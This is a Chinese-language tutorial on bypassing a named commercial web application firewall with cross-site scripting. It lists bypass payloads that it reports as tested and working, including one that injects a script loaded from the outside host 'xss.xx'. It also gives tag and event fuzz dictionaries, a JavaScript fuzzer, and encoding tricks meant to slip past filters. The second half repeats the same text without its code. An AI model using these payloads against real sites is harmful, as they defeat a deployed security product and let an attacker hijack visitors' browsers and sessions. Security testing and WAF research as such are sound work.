某xin_waf测试
字数 1233 2025-08-25 22:58:40

XSS绕过某xin WAF的测试方法与技巧

1. 某xin网站卫士简介

某xin网站卫士是提供免费网站加速和防护的云服务平台,主要功能包括:

  • 网站加速
  • 智能高防DNS
  • 防DDOS攻击
  • 防CC攻击
  • 防黑客攻击
  • 网站永久在线服务

2. XSS测试方法论

2.1 基本测试思路

  1. 从简单易满足的点出发,假设存在参数如?xss=,不考虑闭合问题
  2. 关注HTML5新标签和属性
  3. 测试WAF未过滤完全的on事件

2.2 有趣的XSS触发方式

复制/粘贴/剪切触发

<x oncopy=y=prompt,y``>z
<x onpaste=y=prompt,y``>z
<x oncut=y=prompt,y``>z
  • oncopy: 用户拷贝元素内容时触发(CTRL+C)
  • onpaste: 用户向元素粘贴文本时触发(CTRL+V)
  • oncut: 用户剪切元素内容时触发(CTRL+X)

注意:反引号可替换为括号

其他实用事件

  • onmouseover: 鼠标悬停触发
  • onmousedown/onmouseup: 需要点击元素触发

3. 有效的Bypass Payload

3.1 已测试有效的Payload

<details open ontoggle=[1].find(alert)>
<select autofocus onfocus=[2].find(alert)>
<input autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">

3.2 关键绕过技术

  1. 使用HTML5新标签如<details>
  2. 利用不常见的on事件如ontoggle
  3. 使用JavaScript函数式调用如[1].find(alert)
  4. 动态创建script标签并设置src属性

4. XSS Fuzz字典构建

4.1 标签字典(TAG)

a abbr acronym address applet area article aside audio b base basefont bdi bdo 
big blockquote body br button canvas caption center cite code col colgroup 
command datalist dd del details dfn dialog dir div dl dt em embed fieldset 
figcaption figure font footer form frame frameset h1 to h6 head header hr html 
i iframe img input ins kbd keygen label legend li link map mark menu meta 
meter nav noframes noscript object ol optgroup option output p param pre 
progress q rp rt ruby s samp script section select small source span strike 
strong style sub summary sup table tbody td textarea tfoot th thead time 
title tr track tt u ul var video wbr

4.2 事件字典(EVENT)

窗口事件

onafterprint onbeforeprint onbeforeunload onerror onhaschange onload 
onmessage onoffline ononline onpagehide onpageshow onpopstate onredo 
onresize onstorage onundo onunload

表单事件

onblur onchange oncontextmenu onfocus onformchange onforminput oninput 
oninvalid onreset onselect onsubmit

键盘事件

onkeydown onkeypress onkeyup

鼠标事件

onclick ondblclick ondrag ondragend ondragenter ondragleave ondragover 
ondragstart ondrop onmousedown onmousemove onmouseout onmouseover 
onmouseup onmousewheel onscroll

多媒体事件

onabort oncanplay oncanplaythrough ondurationchange onemptied onended 
onerror onloadeddata onloadedmetadata onloadstart onpause onplay 
onplaying onprogress onratechange onreadystatechange onseeked onseeking 
onstalled onsuspend ontimeupdate onvolumechange onwaiting

4.3 可执行代码(SAVE_PAYLOAD)

  1. 基本弹窗:alert(1)
  2. 函数式调用:[1].find(alert)
  3. 动态创建脚本:s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te"
  4. 编码/拆分/组合/拼接等变形技术

5. 自动化Fuzz脚本

5.1 JavaScript自动生成Payload

var i,j,k,xss,f=0;
var ons = ["onload","onerror"];
var labs = ["a","b","q","br","dd","dl","dt","h1","del","abbr","video","base","audio","details"];
var hexs= ["%09","%00","%0d","%0a"];

for(i=0;i<labs.length;i++){
    for(j=0;j<hexs.length;j++){
        for(k=0;k<ons.length;k++){
            xss = f+'<'+labs[i]+hexs[j]+ons[k]+"=alert("+f+") src=a>a";
            var body = document.getElementsByTagName("body");
            var div = document.createElement("div");
            div.innerHTML = f+"<iframe src=\"http://127.0.0.1/index.php?fuzz="+xss+"\"></iframe>";
            document.body.appendChild(div);
            f = f+1;
        }
    }
}

5.2 脚本特点

  1. 组合不同标签、空白字符和事件
  2. 自动递增编号便于识别
  3. 通过iframe加载测试URL
  4. 可扩展更多标签和事件

6. 测试建议与技巧

  1. 关注HTML5新特性:许多WAF对新标签和属性过滤不全
  2. 测试不常见事件:如ontoggleonfocus
  3. 利用编码和空白字符%09(制表符)、%00(空字节)、%0d(回车)、%0a(换行)
  4. 动态构建Payload:避免直接使用敏感关键词
  5. 收集公开案例:从HackerOne报告和Twitter上收集优秀XSS案例

7. 学习资源推荐

  1. Twitter:关注安全研究人员如@sOmd3v、@Ow4ys
  2. HackerOne:学习公开的XSS报告
  3. GitHub:寻找XSS Fuzz脚本和Payload集合
  4. HTML和JavaScript文档:深入了解各种事件和属性

通过系统性地收集、测试和整理,可以构建属于自己的XSS Payload字典,提高测试效率和成功率。

XSS绕过某xin WAF的测试方法与技巧 1. 某xin网站卫士简介 某xin网站卫士是提供免费网站加速和防护的云服务平台,主要功能包括: 网站加速 智能高防DNS 防DDOS攻击 防CC攻击 防黑客攻击 网站永久在线服务 2. XSS测试方法论 2.1 基本测试思路 从简单易满足的点出发,假设存在参数如 ?xss= ,不考虑闭合问题 关注HTML5新标签和属性 测试WAF未过滤完全的on事件 2.2 有趣的XSS触发方式 复制/粘贴/剪切触发 oncopy : 用户拷贝元素内容时触发(CTRL+C) onpaste : 用户向元素粘贴文本时触发(CTRL+V) oncut : 用户剪切元素内容时触发(CTRL+X) 注意:反引号可替换为括号 其他实用事件 onmouseover : 鼠标悬停触发 onmousedown / onmouseup : 需要点击元素触发 3. 有效的Bypass Payload 3.1 已测试有效的Payload 3.2 关键绕过技术 使用HTML5新标签如 <details> 利用不常见的on事件如 ontoggle 使用JavaScript函数式调用如 [1].find(alert) 动态创建script标签并设置src属性 4. XSS Fuzz字典构建 4.1 标签字典(TAG) 4.2 事件字典(EVENT) 窗口事件 表单事件 键盘事件 鼠标事件 多媒体事件 4.3 可执行代码(SAVE_ PAYLOAD) 基本弹窗: alert(1) 函数式调用: [1].find(alert) 动态创建脚本: s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te" 编码/拆分/组合/拼接等变形技术 5. 自动化Fuzz脚本 5.1 JavaScript自动生成Payload 5.2 脚本特点 组合不同标签、空白字符和事件 自动递增编号便于识别 通过iframe加载测试URL 可扩展更多标签和事件 6. 测试建议与技巧 关注HTML5新特性 :许多WAF对新标签和属性过滤不全 测试不常见事件 :如 ontoggle 、 onfocus 等 利用编码和空白字符 : %09 (制表符)、 %00 (空字节)、 %0d (回车)、 %0a (换行) 动态构建Payload :避免直接使用敏感关键词 收集公开案例 :从HackerOne报告和Twitter上收集优秀XSS案例 7. 学习资源推荐 Twitter :关注安全研究人员如@sOmd3v、@Ow4ys HackerOne :学习公开的XSS报告 GitHub :寻找XSS Fuzz脚本和Payload集合 HTML和JavaScript文档 :深入了解各种事件和属性 通过系统性地收集、测试和整理,可以构建属于自己的XSS Payload字典,提高测试效率和成功率。